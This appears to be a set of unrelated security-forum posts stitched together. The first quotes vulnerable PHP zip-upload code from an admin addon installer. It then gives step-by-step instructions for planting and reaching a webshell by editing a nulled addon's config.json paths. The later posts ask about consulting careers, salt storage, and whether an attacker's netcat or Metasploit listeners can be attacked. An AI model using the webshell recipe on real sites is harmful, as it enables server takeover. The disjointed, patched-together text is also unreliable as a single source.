Totally wrong architecture for uploading zip files on install addon

---Vulnerable Source Code ---
$zipped_file_name = $_FILES['addon_zip']['name'];

if (!empty($zipped_file_name)) {
// Create update directory.
$dir = 'uploads/addons';
if (!is_dir($dir))
mkdir($dir, 0777, true);

$path = "uploads/addons/".$zipped_file_name;
if (class_exists('ZipArchive')) {
move_uploaded_file($_FILES['addon_zip']['tmp_name'], $path);
//Unzip uploaded update file and remove zip file.
$zip = new ZipArchive;
$zip->open($path);
$zip->extractTo('uploads/addons');
$zip->close();
unlink($path);
}else{
$this->session->set_flashdata('error_message', get_phrase('your_server_is_unable_to_extract_the_zip_file').'. '.get_phrase('please_enable_the_zip_extension_on_your_server').', '.get_phrase('then_try_again'));
redirect(site_url('admin/addon'), 'refresh');
}

---Exploit------
get request route "/admin/addon/add" at admin panel.

And then for example download "certificate addon" nulled version.

in addons config.json file
add
"""
{
"root_directory" : "uploads/addons/certificate/others/shell.php",
"update_directory" : "uploads/certificates/shell.php"
},
"""

add your webshell to others folder in addon.

click install addon button.

And ta daa !
->get request https://your-url/uploads/certificates/shell.php

Is consulting good in cybersecurity

Hey all,

I'll soon be graduated and I'm already actively looking for jobs in cybersecurity. My master was centered around software system security and my thesis around arm64 kernel integrity.

I'm not really attracted by consulting but want to be sure that I'm not missing anything. What do you think about consulting in cybersecurity ?

I ideally would like to, just like my master thesis, work on securing OSes. Do you have any suggestion of similar jobs ?

Thanks all :D

Do you store your salt with the hashed salted password in 2022

I am working on updating password management for the application I work on. I'm wondering what the best practices are currently, and whether or not mixing something known is safe or not.

Can your hacking server be hacked through listeners

I guys, I hope this is the right place to ask such question.

Anyone knows if there are known security flaws for listeners such as netcat, socat, or the multihandler from metasploit?

Let's say I have a kali server, running listeners 24/7 in order to catch possible new connections and make them persistent.

Is there any known exploits that may actually be used against this server? I mean a listener is a service as much as http, ssh, smb, ...
